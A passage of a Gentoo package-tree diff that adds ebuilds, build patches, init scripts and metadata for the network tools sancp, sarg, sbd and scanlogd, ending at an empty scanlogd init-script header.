+DIST sancp-1.6.1.fix200511.b.patch 870 SHA256 0bbcf2797d689f9eaa46933262edc3badd644636fb8821832264bab454a870c0 SHA512 a54bbec1ce3799f83c006f7375297bafee85b12a90361f1f5dbbf46c936193c7e0f1196483a2bdf560019e93ceffe9129b3c01322eedc397e5dfa3a1a6b76b81 WHIRLPOOL d312e54489cfa9c073c6c499e56d1e24daa65d7d09558b291bc1de3b12249ca285c0ccb8c39eff03afe268f9f28db5427633f93df81c6c50f0f782cd7e04a352
+DIST sancp-1.6.1.fix200601.c.patch 3578 SHA256 38fe2e2db7419fb79c57b1e0505dbfda9958f56ab85259a84485111eb644880f SHA512 3d15028d33e7dbddc74d8c6eefac6d66e357f024dca15afdfb8156b0cf969ab093c26baa43ebf7c1ac88f4275ef4bdc91c1cc69c5aa7b439a042ed966edea30f WHIRLPOOL 20333f0f26a26ade0afc5f5fc332274e6522c2f4d36f0ea6579220349f3104c7eb3153b68ce79378e1fcd16c8c35ac927dfa29f619ac7fb7599a5400b8891747
+DIST sancp-1.6.1.fix200606.d.patch 6847 SHA256 1c62a44d75f3cd8b07445b02d9535f3eede3a60329bda111dd855c674e2745a9 SHA512 474a69052a2b9642fdc59e28c0237852d49b7b05445f0ffbbd2ea3f01b70a44e10ee49fba6294b413a53afe50271aaf88f979f8c479fb4b464b3ba5a70534276 WHIRLPOOL 9593161b57e153b3f25de9d958e57364a5fcdfa99bbdea183be3c25033a818de4724df2b5271d51fc64c78d17683c227afb691e871cd4804881e54921ab76107
+DIST sancp-1.6.1.tar.gz 69986 SHA256 58e487a4bd83716e90ff19d0d7fab352e28bbe143be60f4ee61c34d5fa6380a3 SHA512 41c6b35a2e7295d3b8185b9cc556c56b285cae7542c7ace78e663e54cef8d470bfa2ee083d9837fa34cf5ad1e7c325fb838b00e4f776f5662cade7d61e07145c WHIRLPOOL 8c0058ec1878e23cf3787fef318bfdc22bc301f9a898cccb7533954a7a587dab89147ca841f708d1bf27e986842ea5856c451678d76e4b0f1ee5ee507c726621
diff --git a/net-analyzer/sancp/files/sancp-1.6.1-compiler.patch b/net-analyzer/sancp/files/sancp-1.6.1-compiler.patch
new file mode 100644
index 000000000000..d7816cbdd5de
--- /dev/null
+++ b/net-analyzer/sancp/files/sancp-1.6.1-compiler.patch
@@ -0,0 +1,45 @@
+--- a/Makefile 2004-01-19 23:04:56.000000000 +0100
++++ b/Makefile 2010-09-15 02:02:26.000000000 +0200
+@@ -1,26 +1,26 @@
+
+ # !!! Uncomment this CFLAGS for a small binary !!!
+-CFLAGS = -O3 -s -I/usr/include/pcap -L/usr/lib/libpcap.so.0.6.2
++CFLAGS += -I/usr/include/pcap -L/usr/lib/libpcap.so.0.6.2
+
+ # !!! or uncomment this CFLAGS for a large binary with symbols; use for debugging !!!
+ #CFLAGS = -O0 -g -I/usr/include/pcap -L/usr/lib/libpcap.so.0.6.2
+
+ final : sancp.cc Makefile
+- if [ ! -f build_acl.o -o build_acl.cc -nt build_acl.o ]; then g++ -Wall $(CFLAGS) -c build_acl.cc -o build_acl.o; fi
+- if [ ! -f misc_functs.o -o misc_functs.cc -nt misc_functs.o ]; then g++ -Wall $(CFLAGS) -c misc_functs.cc -o misc_functs.o; fi
+- if [ ! -f outputFileHandle.o -o outputFileHandle.cc -nt outputFileHandle.o ]; then g++ -Wall $(CFLAGS) -c outputFileHandle.cc -o outputFileHandle.o; fi
+- if [ ! -f apply_rule.o -o apply_rule.cc -nt apply_rule.o ]; then g++ -Wall $(CFLAGS) -c apply_rule.cc -o apply_rule.o; fi
+- if [ ! -f decode.o -o decode.cc -nt decode.o ]; then g++ -Wall $(CFLAGS) -c decode.cc -o decode.o; fi
+- if [ ! -f fileHandle.o -o fileHandle.cc -nt fileHandle.o ]; then g++ -Wall $(CFLAGS) -c fileHandle.cc -o fileHandle.o; fi
+- if [ ! -f MemoryPool.o -o MemoryPool.cc -nt MemoryPool.o ]; then g++ -Wall $(CFLAGS) -c MemoryPool.cc -o MemoryPool.o; fi
+- if [ ! -f pcapFileHandle.o -o pcapFileHandle.cc -nt pcapFileHandle.o ]; then g++ -Wall $(CFLAGS) -c pcapFileHandle.cc -o pcapFileHandle.o; fi
+- if [ ! -f sancp.o -o sancp.cc -nt sancp.o ]; then g++ -Wall $(CFLAGS) -c sancp.cc -o sancp.o; fi
+- if [ ! -f pcap_functions.o -o pcap_functions.c -nt pcap_functions.o ]; then gcc -Wall $(CFLAGS) -c pcap_functions.c -o pcap_functions.o; fi
+- if [ ! -f help.o -o help.cc -nt help.o ]; then g++ -Wall $(CFLAGS) -c help.cc -o help.o ; fi
+- if [ ! -f permissions.o -o permissions.cc -nt permissions.o ]; then g++ -Wall $(CFLAGS) -c permissions.cc -o permissions.o ; fi
+- if [ ! -f check_packet.o -o check_packet.cc -nt check_packet.o ]; then g++ -Wall $(CFLAGS) -c check_packet.cc -o check_packet.o; fi
+- if [ ! -f statefull_logging.o -o statefull_logging.cc -nt statefull_logging.o ]; then g++ -Wall $(CFLAGS) -c statefull_logging.cc -o statefull_logging.o ; fi
+- g++ -Wall $(CFLAGS) -o sancp sancp.o misc_functs.o check_packet.o statefull_logging.o build_acl.o apply_rule.o decode.o pcap_functions.o pcapFileHandle.o fileHandle.o MemoryPool.o help.o permissions.o outputFileHandle.o -lpcap
++ if [ ! -f build_acl.o -o build_acl.cc -nt build_acl.o ]; then $(CXX) -Wall $(CFLAGS) -c build_acl.cc -o build_acl.o; fi
++ if [ ! -f misc_functs.o -o misc_functs.cc -nt misc_functs.o ]; then $(CXX) -Wall $(CFLAGS) -c misc_functs.cc -o misc_functs.o; fi
++ if [ ! -f outputFileHandle.o -o outputFileHandle.cc -nt outputFileHandle.o ]; then $(CXX) -Wall $(CFLAGS) -c outputFileHandle.cc -o outputFileHandle.o; fi
++ if [ ! -f apply_rule.o -o apply_rule.cc -nt apply_rule.o ]; then $(CXX) -Wall $(CFLAGS) -c apply_rule.cc -o apply_rule.o; fi
++ if [ ! -f decode.o -o decode.cc -nt decode.o ]; then $(CXX) -Wall $(CFLAGS) -c decode.cc -o decode.o; fi
++ if [ ! -f fileHandle.o -o fileHandle.cc -nt fileHandle.o ]; then $(CXX) -Wall $(CFLAGS) -c fileHandle.cc -o fileHandle.o; fi
++ if [ ! -f MemoryPool.o -o MemoryPool.cc -nt MemoryPool.o ]; then $(CXX) -Wall $(CFLAGS) -c MemoryPool.cc -o MemoryPool.o; fi
++ if [ ! -f pcapFileHandle.o -o pcapFileHandle.cc -nt pcapFileHandle.o ]; then $(CXX) -Wall $(CFLAGS) -c pcapFileHandle.cc -o pcapFileHandle.o; fi
++ if [ ! -f sancp.o -o sancp.cc -nt sancp.o ]; then $(CXX) -Wall $(CFLAGS) -c sancp.cc -o sancp.o; fi
++ if [ ! -f pcap_functions.o -o pcap_functions.c -nt pcap_functions.o ]; then $(CC) -Wall $(CFLAGS) -c pcap_functions.c -o pcap_functions.o; fi
++ if [ ! -f help.o -o help.cc -nt help.o ]; then $(CXX) -Wall $(CFLAGS) -c help.cc -o help.o ; fi
++ if [ ! -f permissions.o -o permissions.cc -nt permissions.o ]; then $(CXX) -Wall $(CFLAGS) -c permissions.cc -o permissions.o ; fi
++ if [ ! -f check_packet.o -o check_packet.cc -nt check_packet.o ]; then $(CXX) -Wall $(CFLAGS) -c check_packet.cc -o check_packet.o; fi
++ if [ ! -f statefull_logging.o -o statefull_logging.cc -nt statefull_logging.o ]; then $(CXX) -Wall $(CFLAGS) -c statefull_logging.cc -o statefull_logging.o ; fi
++ $(CXX) -Wall $(CFLAGS) $(LDFLAGS) -o sancp sancp.o misc_functs.o check_packet.o statefull_logging.o build_acl.o apply_rule.o decode.o pcap_functions.o pcapFileHandle.o fileHandle.o MemoryPool.o help.o permissions.o outputFileHandle.o -lpcap
+
+ clean :
+ rm -f *.o sancp
diff --git a/net-analyzer/sancp/files/sancp.confd b/net-analyzer/sancp/files/sancp.confd
new file mode 100644
index 000000000000..31cbef82ec1b
--- /dev/null
+++ b/net-analyzer/sancp/files/sancp.confd
@@ -0,0 +1,15 @@
+# Config file for /etc/init.d/sancp
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+# Interface to listen on
+IFACE="eth0"
+
+# Directory to log in
+LOGDIR="/var/log/sancp"
+
+# Default config file
+CONF="/etc/sancp/sancp.conf"
+
+# You could add more options :)
+SANCP_OPTS="-d $LOGDIR/today -i $IFACE -c $CONF -u sancp -g sancp"
diff --git a/net-analyzer/sancp/files/sancp.rc1 b/net-analyzer/sancp/files/sancp.rc1
new file mode 100644
index 000000000000..569947c660bf
--- /dev/null
+++ b/net-analyzer/sancp/files/sancp.rc1
@@ -0,0 +1,43 @@
+#!/sbin/runscript
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+today=$(date '+%Y-%m-%d')
+
+depend() {
+ need net
+}
+checkconfig() {
+ if [ ! -e /etc/sancp/sancp.conf ] ; then
+ eerror "You need an /etc/sancp/sancp.conf to run sancp"
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+
+ # Today's log directory
+ if [ ! -d $LOGDIR/$today ]; then
+ /bin/mkdir $LOGDIR/$today
+ /bin/rm -f $LOGDIR/today
+ fi
+
+ # today/ directory :)
+ if [ ! -d $LOGDIR/today ]; then
+ /bin/ln -s $LOGDIR/$today $LOGDIR/today
+ fi
+
+ ebegin "Starting sancp"
+ start-stop-daemon --start --quiet -m --pidfile /var/run/sancp.pid \
+ --exec /usr/bin/sancp \
+ -- ${SANCP_OPTS} > /var/log/sancp.log 2>&1 &
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping sancp"
+ start-stop-daemon --stop --quiet --pidfile /var/run/sancp.pid
+ eend $?
+}
diff --git a/net-analyzer/sancp/files/sguil_sancp.conf b/net-analyzer/sancp/files/sguil_sancp.conf
new file mode 100644
index 000000000000..84e558e709fe
--- /dev/null
+++ b/net-analyzer/sancp/files/sguil_sancp.conf
@@ -0,0 +1,69 @@
+# $Id$
+#
+# This sancp.conf is distributed as part of sguil (http://sguil.sf.net).
+# It's purpose is to define a default output that is compatible with table
+# schema defined by sguil. Please read the README.sancp for more information
+#
+# sancp is copyrighted by John Curry and can be downloaded at:
+# www.metre.net/sancp.html
+#
+
+# SANCP VERSION 1.5.3
+
+# Currently, sguil only supports the 'stats' output and we want it in
+# timestamped fields
+default stats tsfilename stats
+
+# Time in seconds we write a new file if expired cnxs are available
+default flush_interval=30
+# This tells sancp to open new file handle, write, and close in one step
+default burst_mode=enable
+
+# Default timeout: how many secs to wait after the last packet till we consider the cnx closed
+default timeout=120
+
+# Conforms with out sguil sancp table schema
+format stats sancp_id,start_time_gmt,stop_time_gmt,duration,ip_proto,src_ip_decimal,src_port,dst_ip_decimal,dst_port,src_pkts,src_bytes,dst_pkts,dst_bytes,sflags,dflags
+
+# From here on you define what stats/cnxs/sessions/flows (whatever you
+# want to call it) get logged. Please read the sancp documention for
+# more information. Most of the below are examples of setting
+# variables for complex rules.
+
+var ip 8 # ether proto 0x0800 # ip traffic
+
+# define some ip protocols
+
+var icmp 1
+var tcp 6
+var udp 17
+
+# define some tcp protocols
+
+var http 80
+var https 443
+var smtp 25
+var dns 53
+
+var HOME_NET 127.0.0.1
+#var WWW_NET 192.168.1.0/24
+#var MAIL_SERVER 192.168.1.2
+#var MAIL_SERVER2 192.168.1.3
+
+
+# Default output logging for each connection
+# We don't use realtime or pcap logging at this point so we pass them
+default realtime=pass
+default pcap=pass
+
+# Here is where our "rules" start. We log all stats by default
+# so this is defining exceptions.
+#
+# first six fields are required before rule options can be used
+#
+# eth_proto src_ip dst_ip ip_proto src_port dst_port
+#
+
+# Here is an example if ignoring outbound HTTP stats.
+#ip HOME_NET any tcp any http, stats pass
+#ip HOME_NET any tcp any https, stats pass
diff --git a/net-analyzer/sancp/metadata.xml b/net-analyzer/sancp/metadata.xml
new file mode 100644
index 000000000000..6252f401e616
--- /dev/null
+++ b/net-analyzer/sancp/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use><flag name='sguil'>Enable sguil (The Analyst Console for Network Security Monitoring) support</flag></use>
+</pkgmetadata>
diff --git a/net-analyzer/sancp/sancp-1.6.1-r4.ebuild b/net-analyzer/sancp/sancp-1.6.1-r4.ebuild
new file mode 100644
index 000000000000..ccb3f7ab4485
--- /dev/null
+++ b/net-analyzer/sancp/sancp-1.6.1-r4.ebuild
@@ -0,0 +1,69 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs user
+
+DESCRIPTION="collect statistical information regarding network traffic and collect it in pcap format"
+HOMEPAGE="http://www.metre.net/sancp.html"
+SRC_URI="
+ http://www.metre.net/files/${P}.tar.gz
+ http://sancp.sourceforge.net/${PN}-1.6.1.fix200511.a.patch
+ http://sancp.sourceforge.net/${PN}-1.6.1.fix200511.b.patch
+ http://sancp.sourceforge.net/${PN}-1.6.1.fix200601.c.patch
+ http://sancp.sourceforge.net/${PN}-1.6.1.fix200606.d.patch
+"
+
+LICENSE="QPL GPL-2"
+
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+IUSE="sguil"
+
+RDEPEND="net-libs/libpcap"
+DEPEND="${RDEPEND}"
+
+pkg_setup() {
+ enewgroup sancp
+ enewuser sancp -1 -1 /dev/null sancp
+}
+
+src_prepare() {
+ epatch "${DISTDIR}"/${PN}-1.6.1.fix200511.a.patch
+ epatch "${DISTDIR}"/${PN}-1.6.1.fix200511.b.patch
+ # bug 138337
+ epatch "${DISTDIR}"/${PN}-1.6.1.fix200601.c.patch
+ epatch "${DISTDIR}"/${PN}-1.6.1.fix200606.d.patch
+ epatch "${FILESDIR}"/${P}-compiler.patch
+
+ tc-export CXX CC
+}
+
+src_install() {
+ keepdir /var/log/sancp/
+ dodoc docs/CHANGES docs/fields.LIST docs/README docs/SETUP \
+ "${FILESDIR}"/sguil_sancp.conf etc/sancp/sancp.conf
+
+ insinto /etc/sancp
+ if use sguil ; then
+ newins "${FILESDIR}"/sguil_sancp.conf sancp.conf
+ else
+ doins etc/sancp/sancp.conf
+ fi
+
+ dobin sancp
+
+ newinitd "${FILESDIR}"/sancp.rc1 sancp
+ newconfd "${FILESDIR}"/sancp.confd sancp
+ if use sguil ; then
+ sed -i -e /^SANCP_OPTS/s:'sancp':"sguil":g \
+ -e s:'-d $LOGDIR/today':"-d /var/lib/sguil/$(hostname)/sancp": \
+ "${D}/etc/conf.d/sancp"
+ fi
+
+ fowners sancp:sancp /var/log/sancp
+ fperms 0770 /var/log/sancp
+}
diff --git a/net-analyzer/sarg/Manifest b/net-analyzer/sarg/Manifest
new file mode 100644
index 000000000000..bf2dca79cfe0
--- /dev/null
+++ b/net-analyzer/sarg/Manifest
@@ -0,0 +1 @@
+DIST sarg-2.3.10.tar.gz 1278071 SHA256 40f4408a6180516bbc8762a05ce90e06274639d7e8d74b5c142781dac751e3e7 SHA512 d0a61ac6d455feb8fff024c21f1b7547471ef8cf847fd54d9042881cac3ee14a41fe2a8ea9e0fc2bd2ea0448714ba457e9070282c31e4f3c879e4d83d00ecb2d WHIRLPOOL 6550231d7e7479360857cd1908601963364990ab0f83417aed56ddc2d2bce289fcafd5c5f55a185dd0e15a3d16f6662e23a1901fe65658ab6df04fa9c143f1e0
diff --git a/net-analyzer/sarg/files/sarg-2.3.9-configure-bash.patch b/net-analyzer/sarg/files/sarg-2.3.9-configure-bash.patch
new file mode 100644
index 000000000000..ddc0ca8ec4eb
--- /dev/null
+++ b/net-analyzer/sarg/files/sarg-2.3.9-configure-bash.patch
@@ -0,0 +1,102 @@
+--- a/configure.in
++++ b/configure.in
+@@ -41,7 +41,7 @@
+ CFLAGS="${CFLAGS} -Wextra -Wno-unused-parameter"
+ AC_COMPILE_IFELSE([AC_LANG_SOURCE([])],[have_extra_warnings="yes"],[have_extra_warnings="no"])
+ AC_MSG_RESULT($have_extra_warnings)
+-if test "$have_extra_warnings" == "no" ; then
++if test "$have_extra_warnings" = "no" ; then
+ CFLAGS="${saved_CFLAGS}"
+ fi
+
+@@ -50,7 +50,7 @@
+ CFLAGS="${CFLAGS} -Werror=implicit-function-declaration"
+ AC_COMPILE_IFELSE([AC_LANG_SOURCE([])],[have_implicit_function_declaration="yes"],[have_implicit_function_declaration="no"])
+ AC_MSG_RESULT($have_implicit_function_declaration)
+-if test "$have_implicit_function_declaration" == "no" ; then
++if test "$have_implicit_function_declaration" = "no" ; then
+ CFLAGS="${saved_CFLAGS}"
+ fi
+
+@@ -59,7 +59,7 @@
+ CFLAGS="${CFLAGS} -Werror=format"
+ AC_COMPILE_IFELSE([AC_LANG_SOURCE([])],[have_error_format="yes"],[have_error_format="no"])
+ AC_MSG_RESULT($have_error_format)
+-if test "$have_error_format" == "no" ; then
++if test "$have_error_format" = "no" ; then
+ CFLAGS="${saved_CFLAGS}"
+ fi
+
+@@ -93,7 +93,7 @@
+ [],[with_gd=check])
+ if ( test "x$with_gd" != "xno" ) ; then
+ AC_CHECK_HEADERS(gd.h gdfontl.h gdfontt.h gdfonts.h gdfontmb.h gdfontg.h)
+- if ( test "x$ac_cv_header_gd_h" == "xyes" ) ; then
++ if ( test "x$ac_cv_header_gd_h" = "xyes" ) ; then
+ AC_CHECK_LIB(gd, gdImagePng,LIBS="-lgd ${LIBS}"; HAVE_GD_LIB="yes", HAVE_GD_LIB="")
+ if ( test "x$HAVE_GD_LIB" != "xyes" ) ; then
+ AC_MSG_ERROR([ligbd is required to compile sarg with gd])
+@@ -137,7 +137,7 @@
+ [],[with_pcre=check])
+ if ( test "x$with_pcre" != "xno" ) ; then
+ AC_CHECK_HEADERS(pcre.h)
+- if ( test "x$ac_cv_header_pcre_h" == "xyes" ) ; then
++ if ( test "x$ac_cv_header_pcre_h" = "xyes" ) ; then
+ LIBS="$LIBS $(pcre-config --libs)"
+ CFLAGS="$CFLAGS $(pcre-config --cflags)"
+ else
+@@ -243,7 +243,7 @@
+ fi
+ ],[FONTDIR="${datarootdir}/sarg/fonts"])
+ if test "$FONTDIR" ; then
+- if test "x$prefix" == "xNONE" ; then
++ if test "x$prefix" = "xNONE" ; then
+ tempfullpath=`prefix=$ac_default_prefix ; eval "echo $FONTDIR"`
+ else
+ tempfullpath=`eval "echo $FONTDIR"`
+@@ -261,7 +261,7 @@
+ IMAGEDIR=$enableval
+ fi
+ ],[IMAGEDIR="${datarootdir}/sarg/images"])
+-if test "x$prefix" == "xNONE" ; then
++if test "x$prefix" = "xNONE" ; then
+ tempfullpath=`prefix=$ac_default_prefix ; eval "echo $IMAGEDIR"`
+ else
+ tempfullpath=`eval "echo $IMAGEDIR"`
+@@ -286,7 +286,7 @@
+ CFLAGS="${CFLAGS} -Wformat -Werror=format-security"
+ AC_COMPILE_IFELSE([AC_LANG_SOURCE([])],[have_format_security="yes"],[have_format_security="no"])
+ AC_MSG_RESULT($have_format_security)
+- if test "$have_format_security" == "no" ; then
++ if test "$have_format_security" = "no" ; then
+ CFLAGS="${saved_CFLAGS}"
+ fi
+
+@@ -295,7 +295,7 @@
+ CFLAGS="${CFLAGS} -Wempty-body"
+ AC_COMPILE_IFELSE([AC_LANG_SOURCE([])],[have_empty_body="yes"],[have_empty_body="no"])
+ AC_MSG_RESULT($have_empty_body)
+- if test "$have_empty_body" == "no" ; then
++ if test "$have_empty_body" = "no" ; then
+ CFLAGS="${saved_CFLAGS}"
+ fi
+ fi
+@@ -367,14 +367,14 @@
+ AC_CONFIG_FILES([Makefile po/Makefile.in])
+ AC_OUTPUT
+
+-if ( test "x$gd_status" == "xdisabled" ) ; then
++if ( test "x$gd_status" = "xdisabled" ) ; then
+ AC_MSG_NOTICE([Not building with gd as requested on the configuration command line])
+-elif ( test "x$gd_status" == "xnot found" ) ; then
++elif ( test "x$gd_status" = "xnot found" ) ; then
+ AC_MSG_NOTICE([gd.h was not found so the graphs won't be available in the report])
+ fi
+
+-if ( test "x$pcre_status" == "xdisabled" ) ; then
++if ( test "x$pcre_status" = "xdisabled" ) ; then
+ AC_MSG_NOTICE([Not building with pcre as requested on the configuration command line])
+-elif ( test "x$pcre_status" == "xnot found" ) ; then
++elif ( test "x$pcre_status" = "xnot found" ) ; then
+ AC_MSG_NOTICE([pcre.h was not found so the regexp won't be available in the hostalias])
+ fi
diff --git a/net-analyzer/sarg/files/sarg-2.3.9-configure.patch b/net-analyzer/sarg/files/sarg-2.3.9-configure.patch
new file mode 100644
index 000000000000..630e944f7534
--- /dev/null
+++ b/net-analyzer/sarg/files/sarg-2.3.9-configure.patch
@@ -0,0 +1,31 @@
+--- a/configure.in
++++ b/configure.in
+@@ -2,6 +2,7 @@
+ AC_INIT([sarg],[2.3.9])
+ AC_CONFIG_SRCDIR([log.c])
+ AC_CONFIG_AUX_DIR(cfgaux)
++AC_CONFIG_MACRO_DIR(m4)
+
+ AC_CANONICAL_HOST
+
+@@ -26,6 +27,11 @@
+ dnl C99 support is required to define LLONG_MAX (at least on CentOS 5.7)
+ AC_PROG_CC_C99
+
++dnl mkdir_p / MKDIR_P
++AC_PROG_MKDIR_P
++mkdir_p="$MKDIR_P"
++AC_SUBST(mkdir_p)
++
+ # Report more warnings to improve code quality.
+ CFLAGS="${CFLAGS} -Wall -Wno-sign-compare"
+
+@@ -60,7 +66,7 @@
+
+ case "$host" in
+ *-solaris*)
+- LDFLAGS="${LDFLAGS} -lsocket -lnsl"
++ LIBS="${LIBS} -lsocket -lnsl"
+ CFLAGS="-DSOLARIS ${CFLAGS}"
+ ;;
+ esac
diff --git a/net-analyzer/sarg/metadata.xml b/net-analyzer/sarg/metadata.xml
new file mode 100644
index 000000000000..b3c471b62d0c
--- /dev/null
+++ b/net-analyzer/sarg/metadata.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>Sarg - Squid Analysis Report Generator is a tool that allow
+ you to view "where" your users are going to on the Internet. Sarg provides many
+ informations about Squid users activities: times, bytes, sites, etc...
+ </longdescription>
+ <use>
+ <flag name="pcre">Enable support for regular expressions in the hostalias file through <pkg>dev-libs/libpcre</pkg></flag>
+ <flag name="gd">Enable support for graphs in reports through <pkg>media-libs/gd</pkg></flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">sarg</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/sarg/sarg-2.3.10.ebuild b/net-analyzer/sarg/sarg-2.3.10.ebuild
new file mode 100644
index 000000000000..6bf1111656da
--- /dev/null
+++ b/net-analyzer/sarg/sarg-2.3.10.ebuild
@@ -0,0 +1,69 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="Squid Analysis Report Generator"
+HOMEPAGE="http://sarg.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+KEYWORDS="amd64 ppc x86"
+SLOT="0"
+IUSE="+gd ldap pcre"
+
+DEPEND="
+ gd? ( media-libs/gd[png,truetype] )
+ ldap? ( net-nds/openldap )
+ pcre? ( dev-libs/libpcre )
+"
+RDEPEND="${DEPEND}"
+
+DOCS=( BETA-TESTERS CONTRIBUTORS DONATIONS README ChangeLog htaccess )
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-2.3.9-configure.patch \
+ "${FILESDIR}"/${PN}-2.3.9-configure-bash.patch
+
+ sed -i \
+ -e 's:/usr/local/squid/var/logs/access.log:/var/log/squid/access.log:' \
+ -e 's:/usr/local/\(squidGuard/squidGuard.conf\):/etc/\1:' \
+ -e 's:/var/www/html/squid-reports:/var/www/localhost/htdocs/squid-reports:' \
+ -e 's:/usr/local/sarg/exclude_codes:/etc/sarg/exclude_codes:' \
+ sarg.conf || die
+
+ sed -i \
+ -e 's:"/var/www/html/squid-reports":"/var/www/localhost/htdocs/squid-reports":' \
+ log.c || die #43132
+
+ sed -i \
+ -e 's:/usr/local/sarg/passwd:/etc/sarg/passwd:' \
+ htaccess || die
+
+ sed -i \
+ -e 's:/usr/local/\(sarg/sarg.conf\):/etc/\1:' \
+ -e 's:/usr/local/squid/etc/passwd:/etc/squid/passwd:' \
+ user_limit_block || die
+
+ sed -i \
+ -e 's:/usr/local/squid/etc/block.txt:/etc/squid/etc/block.txt:' \
+ sarg-php/sarg-block-it.php || die
+
+ sed -i \
+ -e 's:/usr/local/\(sarg/sarg.conf\):/etc/\1:' \
+ -e 's:/usr/local/\(squidGuard/squidGuard.conf\):/etc/\1:' \
+ sarg.1 sarg-php/sarg-squidguard-block.php || die
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(use_with gd) \
+ $(use_with ldap) \
+ $(use_with pcre) \
+ --sysconfdir="${EPREFIX}/etc/sarg/"
+}
diff --git a/net-analyzer/sbd/Manifest b/net-analyzer/sbd/Manifest
new file mode 100644
index 000000000000..08d92caf6692
--- /dev/null
+++ b/net-analyzer/sbd/Manifest
@@ -0,0 +1 @@
+DIST sbd-1.37.tar.gz 83991 SHA256 42de50dcfca757cd03017c6e56ac7a2f87532a08e7043423cd20d911fd645f5d SHA512 845f3eb20d3a6006f7afc9b60eecaa3049172b3fb2796058f18a13ddbfb7f2c9914bef45bd4f3557db814783717eae24fe13d46d22c65359ba3f816c6d52ea7c WHIRLPOOL ef27336f43e0617df2c53d3d7903be9a05702fcac5e91f6d01134b757b188c1c1b7b88ea4ef24654e8b1dbf3e4182a618035884d24872746ce241071d0add895
diff --git a/net-analyzer/sbd/metadata.xml b/net-analyzer/sbd/metadata.xml
new file mode 100644
index 000000000000..6b3d934caee5
--- /dev/null
+++ b/net-analyzer/sbd/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>
+sbd is a Netcat-clone, designed to be portable and offer strong encryption. It
+features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program
+execution (-e option), choosing source port, continuous reconnection with delay,
+and some other nice features. Only TCP/IP communication is supported.
+ </longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/sbd/sbd-1.37-r1.ebuild b/net-analyzer/sbd/sbd-1.37-r1.ebuild
new file mode 100644
index 000000000000..67f8adfdf35f
--- /dev/null
+++ b/net-analyzer/sbd/sbd-1.37-r1.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit toolchain-funcs
+
+DESCRIPTION="Netcat-clone, designed to be portable and offer strong encryption"
+HOMEPAGE="http://tigerteam.se/dl/sbd/"
+SRC_URI="http://tigerteam.se/dl/sbd/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~hppa ~ppc x86"
+
+src_prepare() {
+ sed -i \
+ -e '/ -o /{ s| $(UNIX_LDFLAGS) $(LDFLAGS)||g;s|$(CFLAGS)|& $(LDFLAGS)|g }' \
+ Makefile || die
+}
+
+src_compile() {
+ emake \
+ CC="$(tc-getCC)" \
+ CFLAGS="${CFLAGS}" \
+ LDFLAGS="${LDFLAGS}" \
+ unix
+}
+
+src_install() {
+ dobin sbd
+ dodoc CHANGES README
+}
diff --git a/net-analyzer/scanlogd/Manifest b/net-analyzer/scanlogd/Manifest
new file mode 100644
index 000000000000..eb692e408ac5
--- /dev/null
+++ b/net-analyzer/scanlogd/Manifest
@@ -0,0 +1 @@
+DIST scanlogd-2.2.7.tar.gz 11352 SHA256 556a1c82b3561ea796d2ce8dfd20f578717903fd2c6557ebe27775d8ef8771da SHA512 56238cb91a33524a9512914568984ed0d066eb84bea1c08551fbc4e02c9643a3f9535d59b364db00d538e4d9bcd9650ac24f2042584d3a9c639f99eb77ba1a7b WHIRLPOOL a909801802f3caac1811e0432d83359bff39c05aee8e5fe802441eeeb85fb9b4f870e698ba501bbd2c335c4041b3182313247f7e1d699cd460745c5ef5a85de7
diff --git a/net-analyzer/scanlogd/files/scanlogd-2.2.7-gentoo.patch b/net-analyzer/scanlogd/files/scanlogd-2.2.7-gentoo.patch
new file mode 100644
index 000000000000..4d1d2f01c643
--- /dev/null
+++ b/net-analyzer/scanlogd/files/scanlogd-2.2.7-gentoo.patch
@@ -0,0 +1,21 @@
+--- a/Makefile
++++ b/Makefile
+@@ -1,14 +1,11 @@
+-CC = gcc
+ LD = $(CC)
+ RM = rm -f
+-CFLAGS = -Wall -O2 -fomit-frame-pointer
+-LDFLAGS = -s
+
+-PCAP_H = -I/usr/include/pcap
+-PCAP_L = -lpcap
++PCAP_H = $(shell pcap-config --cflags)
++PCAP_L = $(shell pcap-config --libs)
+
+-NIDS_H = -I/usr/local/include
+-NIDS_L = -L/usr/local/lib -lnids -lnet -lpcap
++NIDS_H = -I/usr/include
++NIDS_L = -lnids
+
+ PROJ = scanlogd
+
diff --git a/net-analyzer/scanlogd/files/scanlogd.rc b/net-analyzer/scanlogd/files/scanlogd.rc
new file mode 100644
index 000000000000..8f3ff9f38534
--- /dev/null
+++ b/net-analyzer/scanlogd/files/scanlogd.rc
@@ -0,0 +1,21 @@
